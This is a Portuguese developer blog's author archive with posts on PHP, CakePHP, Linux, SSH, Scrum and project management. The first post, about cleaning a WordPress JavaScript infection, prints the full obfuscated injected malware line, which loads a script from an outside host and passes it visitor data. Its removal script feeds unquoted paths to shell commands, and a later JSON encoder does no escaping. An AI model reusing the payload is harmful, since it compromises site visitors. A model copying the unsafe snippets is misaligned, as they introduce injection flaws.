Author Archive
Remover malware javascript causado por falha no wordpress
by Michael Mafort on jan.31, 2012, under Desenvolvimento, Geral, PHP
Uma falha descoberta recentemente no wordpress possibilitava que usuários mal intencionados fizessem um ataque XSS. Um dos ataques inseria uma string com um malware em todos os arquivos javascript do site (lê-se arquivos com extensão .js).
**ATENÇÃO: Recomendo antes de executar qualquer script em seu servidor que seja feito o backup de todos os arquivos.
Para remover este script malicioso de seus arquivos javascript, utilize o script abaixo, desenvolvido em php para ser rodado em shell.
1 2 3 4 5 6 7 8 9 10 11 12 13 | #!/usr/bin/php <?php $path = dirname(realpath(__FILE__)); $list_js = `find $path -name '*.js'`; $list_js_arr = explode("\n", $list_js); foreach($list_js_arr as $file){ if(!empty($file)){ if( strstr(file_get_contents($file), "var _0x4470=")) { $exec = `sed -i '$ d' $file`; echo "Excluido o virus do arquivo: $file\n"; } } } |
Copie o código acima, salve em um arquivo remove_malware_js.php dentro do diretório root do seu servidor, dê permissão de execução ao arquivo
1 | chmod +x remove_malware_js.php |
e em seguida execute o arquivo.
1 | ./remove_malware_js.php |
Pronto todos os arquivos javascript estão sem o script malicioso, atualize o seu wordpress e fique livre deste problema.
O script é recursivo, se vc entrar dentro do diretório public_html e rodar, ele vai procurar em todos os arquivos .js recursivamente, e só vai remover a linha do script malicioso que começa com “var _0x4470=”.
O script malicioso completo é:
1 | var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{})); |
Recuperar arquivo texto excluído no linux
by Michael Mafort on nov.29, 2011, under Linux
Para recuperar um arquivo txt (lê-se qualquer arquivo texto puro “text/plain”, códigos fonte, java, php, python, etc) você pode fazê-lo utilizando o comando grep no disco onde o arquivo existia procurando pelo texto que continha no arquivo.
Com este script pode recuperar arquivos excluídos via console (rm) ou via interface gráfica.
Exemplo:
Arquivo: teste.py
Conteúdo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | import commands import re import socket import fcntl import struct import datetime import locale import psycopg2 def test(): print "teste" #conecta no banco conn = psycopg2.connect(..... |
Você excluiu o arquivo, e lembra de parte do seu conteúdo, então basta procurar no disco pelo conteúdo do arquivo.
1 | grep -a -B200 -A200 'def test():' /dev/sda1 > /home/usuario/arquivo_recuperado.txt |
Onde o -B200 é para exibir as 200 linhas antes da ocorrencia do texto procurado e -A200 as 200 linhas após a ocorrencia, caso o arquivo contivesse 401 linhas e o texto procurado estivesse exatamente no meio iria exibir o arquivo completo, entretanto se vc não sabe exatamente, é melhor colocar um número aproximado do tamanho do arquivo tanto para -B “before” quanto para -A “after”, garantindo assim que o texto encontrado será o seu arquivo excluído.
‘def test():’ é o texto que faz parte do arquivo a ser recuperado e /dev/sda1 no exemplo é a partição do disco onde o arquivo existia.
E por último /home/usuario/arquivo_recuperado.txt que é o arquivo com o texto recuperado.
O principio de gerenciamento de projeto, quando e porque usá-lo.
by Michael Mafort on mai.27, 2011, under Gerência de Projetos
Em suma segundo o PMBOK¹ projeto é um produto/serviço novo que tem um prazo de inicio e término determinados.
“Um projeto é um esforço temporário empreendido para criar um produto, serviço ou resultado exclusivo. A sua natureza temporária indica um início e um término definidos. O término é alcançado quando os objetivos tiverem sido atingidos ou quando se concluir que esses objetivos não serão ou não poderão ser atingidos e o projeto for encerrado, ou quando o mesmo não for mais necessário.”
Logo se entende que o projeto corre um risco de não ser viável e ter de ser interrompido durante a sua execução, uma das áreas do gerenciamento de projetos é exatamente compreender os riscos que o projeto tem. No inicio do projeto os riscos são mais altos, e a medida que o projeto vai sendo executado os riscos vão sendo reduzidos até a conclusão do projeto, que define que todos os riscos foram superados e o projeto está pronto para ser entregue.
O gráfico abaixo expressa o risco do projeto durante o seu ciclo de vida e o custo de modificações que é totalmente oposto e relacionado ao risco, quando mais tarde for requerido uma modificação, mais caro será a sua execução.

O gerenciamento do projeto vai ajudar a equipe a identificar diversos problemas durante o processo de execução, não somente os riscos, mas problemas de comunicação, processos, requisitos é neste momento que os analistas podem identificar as diferenças entre a necessidade e o desejo do cliente, que muitas vezes são conflitantes.
A tabela a seguir exibe as áreas de atuação que o Gerente de Projetos deve estar atento:
De acordo com o gráfico de risco e custo, e as áreas de atuação de gerenciamento de projetos, pode-se identificar que o projeto que é gerenciado tende a ter seu custo reduzido a longo prazo, pois problemas identificados no planejamento são muito mais baratos. Entretanto, para quem irá iniciar nesta atividade, tenha em mente que nada disso é uma receita de bolo, vai depender muito da cultura da empresa para poder ser implementado de forma a ser aceito por todos, ninguém gosta de mudanças e implementar um processo pode causar um desconforto muito grande na equipe, por isso se faz necessário uma exposição dos beneficios para todos da implantação de tal processo.
Nnão se esqueça que o processo é para simplificar, não o torne burocrático demais.
Este processo pode ser aplicado a qualquer projeto, entretanto, se faz um melhor uso em projetos de médio/longo prazo. Pois projetos de duração curta (1 semana ou menos) dispor de tempo para planejamento detalhado pode fazer com que o projeto saia mais caro que o esperado.
Este casebre para ser construido não precisou de projeto e serviu para o fim que foi destinado.

Já este precisou de um projeto detalhado para sua execução, pois se fosse feito sem planejamento iria sair com diversas falhas que não seriam aceitos por quem fez a compra do produto.
Antes de começar planejando tudo que aparecer, pense em quem é seu cliente e o que ele realmente precisa.
Grande abraço,
Nova série de postagens – Gerenciamento de Projeto de Software
by Michael Mafort on mai.17, 2011, under Apresentação
Depois de 9 meses ausente do blog, volto para postar artigos sobre gerenciamento de projeto de software, vou tentar além desta nova categoria, alimentar as demais que dão dicas e ajudas em alguns aspectos de programação.
A principio estarei escrevendo um post por semana, sempre aos sábados ou domingos, ou seja, nas segundas-feiras você pode entrar que terá um artigo novinho para ler. Gostaria de contar com os comentários de todos para que possamos juntos aprender mais sobre o que colocarei em pauta.
Assim nosso primeiro post será no sábado dia 21/05/2011 onde irei falar sobre “O principio de gerenciamento de projeto, quando e porque usá-lo.”
See you later!
Automação de scripts com PHP
by Michael Mafort on ago.12, 2010, under Linux, PHP
Programadores em ambiente linux já estão acostumados a fazerem diversos scripts para automatizarem tarefas utilizando o sh ou bash.
No entanto, não menosprezando o poder de tal linguagem, para quem está mais familiarizado com o PHP uma boa alternativa para gerar estes scripts é utilizando o próprio PHP.
Para isto precisamos de ter o php-client instalado, no ubuntu basta um “apt-get install php5-cli” para tê-lo instalado. Depois de instalado basta criar o seu arquivo php normalmente, como se estivesse usando-o dentro do apache.
Agora mudando para funcionar no prompt.
Na primeira linha do programa insira o seguinte:
#!/usr/bin/php
Seu script vai ficar mais ou menos assim:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #!/usr/bin/php <?php //Codigo de exemplo class Automatizar{ public function __construct(){ echo "Instanciado a classe."; } public function acao( $parametro1, $parametro2 ){ echo "Estou passando o $parametro1 e $parametro2 para o php."; } } $auto = new Automatizar; $auto->acao( $argv[1], $argv[2] ); ?> |
Para executar o script basta dar permissão de execução no arquivo:
1 | chmod 0777 script.php |
E executá-lo apenas chamando ele no console
1 | ./script.php MeuPrimeiroParametro "Meu segundo parametro" |
A saída será
Instanciado a classe.
Estou passando o MeuPrimeiroParametro e Meu segundo parametro para o php.
No código php a variável $argv recebe os valores passados como parametro no script, conforme exemplo acima, o primeiro elemento $argv[0] é o próprio nome do arquivo executado “script.php” e os demais vão seguindo a ordem que foi passada.
Para saber quantos argumentos foram passados tem a variavel global $argc que retorna a contagem dos argumentos.
Agora é correr e fazer os scripts em php para automações em shell.
Performance – menos requets e mais cache
by Michael Mafort on jan.29, 2010, under Desenvolvimento, PHP
Oba eu também quero! Mas o que é isso?
Uma das melhores praticas para se ter uma boa performance em sua página web é reduzir o número de requisições ao servidor, pois cada requisição abre um canal de comunicação que é composto por uma mensagem de ida que aguarda a mensagem de volta, que será a resposta, numa página pode ser html, imagem, css, js etc. Por isso é importante reduzir este número de requisições, pois o que vai tornar a exibição da página mais rapido não será necessariamente o seu tamanho total em Kb mas sim a quantidade de requisições que ela tem.
Agora sim!
Para economizarmos ( economia trabalha o melhor uso de recursos escassos, no nosso caso o tempo ) e ganharmos performance, uma das técnicas é da utilização de renderização de imagens usando inline images rfc 2397, ou seja você não vai ficar fazendo 1 requisição para cada imagem, elas irão ser carregadas juntamente com o seu html, isto agiliza o processo de renderização, diminui os seus requests e possibilita um controle de cache maior, pois todas as imagens estarão no mesmo arquivo html.
Vamos a prática
1 2 | No seu html vai ficar assim: <img src="<?php echo renderImagem( " alt="" />"> |
Com isso você irá reduzir consideravelmente os requests de imagens no seu servidor, diminuindo o tempo para renderização da página, no entando isto aumenta um pouco o tamanho da imagem que era compactada e passou a ser descompactada e enviada via base64, mas para isto há uma solução muito rápida e prática com o uso do mod_deflate do apache, mas isto já é assundo para um novo post.
Até logo e obrigado pelos peixes!
Metodologia ágil de trabalho – SCRUM
by Michael Mafort on jan.18, 2010, under Desenvolvimento
Boa galera, após um tempo off retorno ao blog postando sobre um tema atual, discutido amplamente pelas grandes empresas de desenvolvimento de software, o SCRUM.
Meu depoimento neste artigo é de alguém que está vivenciando este processo, ou seja não aprofundarei no assunto, mas darei umas dicas rápidas para quem interessar (acredito que todos que lerem) possam aprofundar pelo vasto conteúdo disponibilizado na web.
Então vamos ao que interessa:
O que é SCRUM? É nada mais nada menos que uma metodologia para gerenciamento de projetos, com um detalhe que seu foco é a agilidade do processo.
Nesta metodologia, o seu principal foco é entregar o que foi proposto no prazo determinado, ou seja nunca poderá ter atrasos, os prazos não são passiveis de negociação. Caso haja algum impecílio durante o desenvolvimento, o prazo será cumprido e o que poderá ser negociado é a questão do escopo do que será entregue. Ex.: Acordou que iria entregar em 1 mês o sistema de cadastro, com edição, listagem e visualização, sendo que na visualização teria uma feature para aprimorar a visualização do conteúdo (firula), mas o prazo ia estourar, então o que é negociado é deixar esta feature para uma proxima data (se couber dentro do proximo planejamento ela deve ser executada, senão vai ficando para o final do projeto). Desta forma você não se embaralha com os prazos cumprindo a risca e no final vai ter apenas algumas revisões de alguma coisa que porventura não conseguiu fazer dentro do prazo planejado.
Outra coisa extremamente importante neste processo é o acompanhamento diário, geralmente através de reuniões rápida (15 min.) onde se discute o que foi feito no dia anterior, o que vai ser feito hoje e o que me impede de atingir minha meta. Desta forma todos os envolvidos (programador e cliente) estão sempre cientes do que está sendo feito, não saindo do controle e facilitando a correção de possíveis alterações no escopo do projeto.
Com isto você ganha controle e confiabilidade de seu cliente, tornando o seu processo mais ágil e confiável, pois reduz numerosamente a quantidade de bugs no sistema.
Referências:
Facilidades para sua vida – Parte 9 – Vantagens do uso do SSH (locaweb, dreamhost)
by Michael Mafort on ago.23, 2009, under Facilidades para sua vida, Linux, Mysql, PHP
O uso do SSH por usuários linux é muito recorrente, pois traz muitas facilidades de acesso remoto a máquina onde se deseja executar alguma tarefa.
Hospedagens mais profissionais como na locaweb, dreamhost, goodady entre outros lhe oferecem esta ferramenta de acesso e gerenciamento do seu site.
Algumas coisas práticas que podemos fazer com o uso do ssh:
- Criar shell scripts para executar tarefas de backup, como já escrito no meu blog sobre backup do mysql, você pode criar um shell script para fazer o backup e gravar num diretório que não é acessivel pelo público.
- Vai subir um site que tem muitos arquivos (Normalmente quando você utiliza algum editor wysiwyg, tipo tyneMCE, fckEditor, entre outros) ? Que tal zipar a pasta e enviar via ftp para o site e depois via ssh você descompacta esta pasta no servidor? Muito fácil e útil. O contrário também é valido, zipar o site pra depois baixar.
- Usa o svn para controlar as versões dos seus arquivos que estão em desenvolvimento? Então você poderá simplesmente exportar a ultima versão, que será a publicada em produção diretamente no servidor.
- Sabe aquele site que vai dar manutenção, e tem 30 mil imagens, que no novo layout vão ter ela em tres tamanhos diferentes? E agora o que fazer, mandar para o design recortar uma por uma, jogar no html e forçar o tamanho, fazendo o usuário baixar mais do que precisava? Nada disso, você pode simplesmente criar um shell script para junto com o imagemagick redimencionar estas imagens, e como vai estar rodando diretamente no servidor atravez do shell, isso vai ser bem rápido.
Já que falei um pouco dos beneficios, que você descobrirá muito mais quando estiver utilizando, então vai umas dicas de como usar:
Para conectar em ambiente linux você pode abrir o console e digitar o seguinte:
ssh nome_usuario@seusite.com.br [enter]
senha: [digite sua senha, ela não irá aparecer, mas está sendo digitada] [enter]
Se você usa windows você pode utilizar o putty, disponível para download em http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
Aqui http://ajuda.locaweb.com.br/pt-br/Configurando_o_Putty você tem um tutorial de como se conectar usando o putty.
Alguns cuidados são extremamente importantes, como o uso de alguns comandos que poderão te atrapalhar um pouco, o uso de rm (REMOVE) irá excluir os arquivos que você passar como parametro, deve ser usado com cautela.
Shell Scripts devem ser testados antes de inseridos no site, para evitar algum tipo de travamento, ou loop infinito.
Alguns comandos básicos que poderá usar:
Zipar arquivos:
zip -r nomedozip.zip diretorio_a_ser_zipado
zip nomedozip.zip arquivo.ext
Descompactar zip:
unzip nomedozip.zip
ImageMagick, redimensionar imagem:
convert -resize [tamanho] arquivo.jpg arquivo_thum.jpg
ex.: convert -resize 200 arquivo.jpg arquivo_thum.jpg
Alguns exemplos podem ser vistos no site do ImageMagick [http://www.imagemagick.org/Usage/]
O uso do svn, tem outro post no meu blog a respeito.
Outras referencias:
Wiki Locaweb: http://ajuda.locaweb.com.br/pt-br/SSH (Como conectar na locaweb usando ssh)
Wiki Dreamhost: http://wiki.dreamhost.com/Ssh (Conectando via ssh na dreamhost)
Facilidades para sua vida – Parte 8 – Cronjobs com cakephp
by Michael Mafort on fev.26, 2009, under CakePHP, Facilidades para sua vida, Linux, PHP
Bom pessoal, de volta a ativa, vou neste post falar um pouco sobre como utilizar tarefas agendadas utilizando o crontab do linux.
Primeiro passo, copie o arquivo webroot/index.php para cron_dispatcher.php.
No cakephp versão final 1.2.1.8004, a linha a ser editada é após a 83, que está o seguinte código:
1 2 3 | if (!include(CORE_PATH . 'cake' . DS . 'bootstrap.php')) { trigger_error("CakePHP core could not be found. Check the value of CAKE_CORE_INCLUDE_PATH in APP/webroot/index.php. It should point to the directory containing your " . DS . "cake core directory and your " . DS . "vendors root directory.", E_USER_ERROR); } |
Você irá substituir para:
1 2 3 4 5 6 7 8 9 10 | if (!include(CORE_PATH . 'cake' . DS . 'bootstrap.php')) { trigger_error("CakePHP core could not be found. Check the value of CAKE_CORE_INCLUDE_PATH in APP/webroot/index.php. It should point to the directory containing your " . DS . "cake core directory and your " . DS . "vendors root directory.", E_USER_ERROR); } else { define(‘CRON_DISPATCHER’, true); if($argc == 2) { $Dispatcher = new Dispatcher(); $Dispatcher -> dispatch($argv[1]); } } |
Assim seu script dará acesso ao seu controller através do dispatcher, utilizando o phpclient. Para executar o script utilizando o crontab, deve-se fazer o seguinte:
1 | * * * * * php -q /var/www/app/webroot/cron_dispatcher.php /products/cron/ |
Onde os asteriscos na ordem significam:
1 – Minuto (0-59)
2 – Hora (0-23)
3 – Dia (1-31)
4 – Mês (1-12)
5 – Semana (0-6)
Para que os valores repitam sempre utilize o mesmo asterisco, exemplo: para executar o script 1 vez por dia a 0h use:
1 | 0 0 * * * php -q /var/www/app/webroot/cron_dispatcher.php /products/cron/ |
“php -q” executa o arquivo passado a seguir como parametro. neste exemplo vai chamar o arquivo /var/www/app/webroot/cron_dispatcher.php (lembre de passar o caminho absoluto ao arquivo).
O parametro /products/cron/ diz que o seu dispatcher vai chamar o action cron do controller products.
Agora já esta pronto o seu crontab, é só rodar e testar.
Abraço!
Facilidades para sua vida – Parte 7 – CakePHP json encode
by Michael Mafort on fev.02, 2009, under CakePHP, Facilidades para sua vida, PHP
Bom nesta parte vamos tratar de um problema muito comum quando vamos trabalhar com ajax, utilizando json como padrão de dados. O principal problema que enfrentamos é referente ao uso de palavras acentuadas e configurações do servidor, então para livrar deste problema criei um component que transforma as informações de uma query em json.
jsonComponent.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | class jsonComponent extends Object { public function encode($data){ $tmp_arr = array(); if( is_array($data) ){ foreach( $data as $key => $value ){ if( is_array($value) ){ $tmp_arr[] = "'$key':{" . $this->encode($value) . "}"; } else{ $tmp_arr[] = "'$key':'$value'"; } } } else { return "'$data'"; } return join(", ", $tmp_arr); } } |
Para utilizá-lo basta inserir em seu controller a variável:
1 2 3 4 5 6 7 8 9 10 11 12 13 | $components = array('json'); //para converter um array em json use: function minha_funcao(){ $produtos = array('Produto'=>array( array('id'=>1, 'descricao'=> 'Carne moída', 'valor'=>10.50), array('id'=>2, 'descricao'=>'Feijão preto', 'valor'=>2.90))); $json = "{" . $this->json->encode($produtos) . "}"; echo $json; //resultado será: //{'Produto':{'0':{'id':'1', 'descricao':'Carne moída', 'valor':'10.5'}, '1':{'id':'2', 'descricao':'Feijão preto', 'valor':'2.9'}}} |
Ou você poderá criar diretamente um novo método ao seu app_model da seguinte forma:
app_model.php
1 2 3 4 5 6 7 8 | public function json($type='all', $conditions=array()){ $result = $this->find($type, $conditions); App::import("Component", "json"); $json = new jsonComponent(); return "{". $json->encode($result) ."}"; } |
Com o método no app_model, você vai chamar o seu método da seguinte forma:
1 2 3 4 5 6 7 8 9 | //Utilize a mesma sintaxe do find $meu_json = $this->MeuModel->json('all', array('conditions'=>array('MeuModel.preco < 2'), 'fields'=>array('MeuModel.id','MeuModel.descricao'))); echo $meu_json;//{'Produto':{'0':{'id':'1', 'descricao':'Carne moída', 'valor':'10.5'}, '1':{'id':'2', 'descricao':'Feijão preto', 'valor':'2.9'}}} //Lembre-se sempre de definir o header antes da saída de dados "echo" quando estiver utilizando json. //Exemplo: header('Content-Type: text/javascript'); echo $meu_json; |
No javascript para acessar os valores pode-se usar:
1 2 3 | var json = {'Produto':{'0':{'id':'1', 'descricao':'Carne moída', 'valor':'10.5'}, '1':{'id':'2', 'descricao':'Feijão preto', 'valor':'2.9'}}}; produto_um = json.Produto[0].id; // use um loop para percorrer dinamicamente todo o objeto, recomendo utilizar "for in". |
Bom espero que possa ser mais uma facilidade para vocês também.
Abraço!